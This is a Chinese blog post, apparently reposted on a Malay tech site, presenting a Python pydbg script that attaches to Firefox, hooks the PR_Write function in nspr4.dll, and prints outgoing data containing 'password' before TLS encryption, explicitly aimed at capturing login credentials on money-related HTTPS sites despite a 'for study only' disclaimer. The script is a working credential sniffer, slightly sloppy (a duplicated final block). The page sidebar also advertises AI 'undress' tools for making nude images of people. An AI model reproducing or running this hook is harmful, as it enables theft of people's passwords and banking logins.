python利用hook技术破解https的实例代码
相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:
下面是源代码:
代码如下:
#!/ur/bin/env python
from pydbg import *
from pydbg.defines import *
import utils
import sys
dbg = pydbg()
found_firefox = False
pattern = "password"
def ssl_sniff( dbg, args ):
buffer = ""
offset = 0
while 1:
byte = dbg.read_process_memory( args[1] + offset, 1 )
if byte != "x00":
buffer += byte
offset += 1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_CONTINUE
# 寻找firefox.exe的进程
for (pid, name) in dbg.enumerate_processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook_container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# 得到firefox的hook的 address
hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")
if hook_address:
# 添加hook的内容,包括他的pid,地址,嗅探类型
hooks.add( dbg, hook_address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)
转自:http://world77.blog.bitsCN.com/414605/518679

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas

Cara menggunakan NginxProxyManager untuk melaksanakan lompatan automatik dari HTTP ke HTTPS Dengan perkembangan Internet, semakin banyak laman web mula menggunakan protokol HTTPS untuk menyulitkan penghantaran data untuk meningkatkan keselamatan data dan perlindungan privasi pengguna. Memandangkan protokol HTTPS memerlukan sokongan sijil SSL, sokongan teknikal tertentu diperlukan semasa menggunakan protokol HTTPS. Nginx ialah pelayan HTTP yang berkuasa dan biasa digunakan dan pelayan proksi terbalik, dan NginxProxy

Cara menggunakan NginxProxyManager untuk melaksanakan proksi terbalik di bawah protokol HTTPS Dalam beberapa tahun kebelakangan ini, dengan populariti Internet dan kepelbagaian senario aplikasi, kaedah capaian laman web dan aplikasi menjadi semakin kompleks. Untuk meningkatkan kecekapan dan keselamatan akses laman web, banyak tapak web telah mula menggunakan proksi terbalik untuk mengendalikan permintaan pengguna. Proksi terbalik untuk protokol HTTPS memainkan peranan penting dalam melindungi privasi pengguna dan memastikan keselamatan komunikasi. Artikel ini akan memperkenalkan cara menggunakan NginxProxy

Nginx ialah perisian pelayan web berprestasi tinggi dan pelayan proksi terbalik yang berkuasa dan pengimbang beban. Dengan perkembangan pesat Internet, semakin banyak laman web mula menggunakan protokol SSL untuk melindungi data pengguna yang sensitif, dan Nginx juga menyediakan sokongan SSL yang kuat, menjadikan prestasi keselamatan pelayan web lebih jauh. Artikel ini akan memperkenalkan cara mengkonfigurasi Nginx untuk menyokong protokol SSL dan melindungi prestasi keselamatan pelayan web. Apakah protokol SSL? SSL (SecureSocket

Aliran kerja https termasuk langkah-langkah seperti permintaan yang dimulakan oleh klien, respons pelayan, jabat tangan SSL/TLS, penghantaran data dan pemaparan sisi klien Melalui langkah ini, keselamatan dan integriti data semasa penghantaran dapat dipastikan.

Laksanakan penciptaan komponen fullScreenContainer.vueimport{useAutoResize}from'@/hooks/useAutoResize' const{autoBindRef}=useAutoResize(), sesuaikan cangkuk dan eksport fail cangkuk tersuai ref mengikat autoBindRes useAutoResize.tsimport{ref}from' vue' ;exportfunctionuseAutoResize(){l

Dalam era Internet hari ini, komunikasi yang selamat telah menjadi bahagian yang sangat diperlukan. Terutamanya dalam komunikasi HTTPS, cara memastikan keselamatannya amat penting. Sebagai pelayan web popular dan pelayan proksi terbalik, tembok api Nginx juga boleh memainkan peranan penting dalam memastikan komunikasi selamat HTTPS. Artikel ini akan membincangkan tembok api Nginx dari aspek berikut. Penyulitan TLS/SSL Keselamatan komunikasi HTTPS terutamanya berdasarkan teknologi penyulitan TLS/SSL, yang boleh menghalang data daripada dihantar semasa penghantaran.

Perbezaan antara pengesahan sehala dan pengesahan dua hala: Pengesahan sehala: merujuk kepada pelanggan yang mengesahkan sijil sisi pelayan dan pelayan tidak perlu mengesahkan sijil pelanggan. Pengesahan dua hala: merujuk kepada pelanggan yang mengesahkan sijil sisi pelayan, dan pelayan juga perlu mengesahkan sijil pelanggan melalui sijil kunci awam CA. Proses jabat tangan terperinci: Pengesahan sehala Penyemak imbas menghantar permintaan sambungan kepada pelayan keselamatan. 1. Pelayan menghantar sijil sendiri dan maklumat berkaitan sijil kepada pelayar klien. 2. Pelayar klien menyemak sama ada sijil yang dihantar oleh pelayan dikeluarkan oleh pusat CA yang dipercayainya. Jika ya, teruskan melaksanakan perjanjian jika tidak, penyemak imbas pelanggan akan memberi pelanggan mesej amaran: memberi amaran kepada pelanggan bahawa sijil ini tidak boleh dipercayai dan bertanya kepada pelanggan jika ia perlu diteruskan. 3. Ambil pelanggan

Langkah-langkah konfigurasi: 1. Dapatkan sijil SSL; 2. Konfigurasikan sijil SSL 3. Edit fail konfigurasi Tomcat; Pengenalan terperinci: 1. Anda perlu mendapatkan sijil SSL, sama ada sijil yang ditandatangani sendiri atau sijil SSL yang sah daripada agensi pensijilan (seperti Let's Encrypt); 2. Letakkan sijil SSL yang diperolehi dan fail kunci peribadi pada pelayan dan memastikan bahawa fail ini Terletak di lokasi yang selamat, hanya pengguna yang mempunyai kebenaran yang mencukupi boleh mengakses; 3. Edit fail konfigurasi Tomcat, dsb.
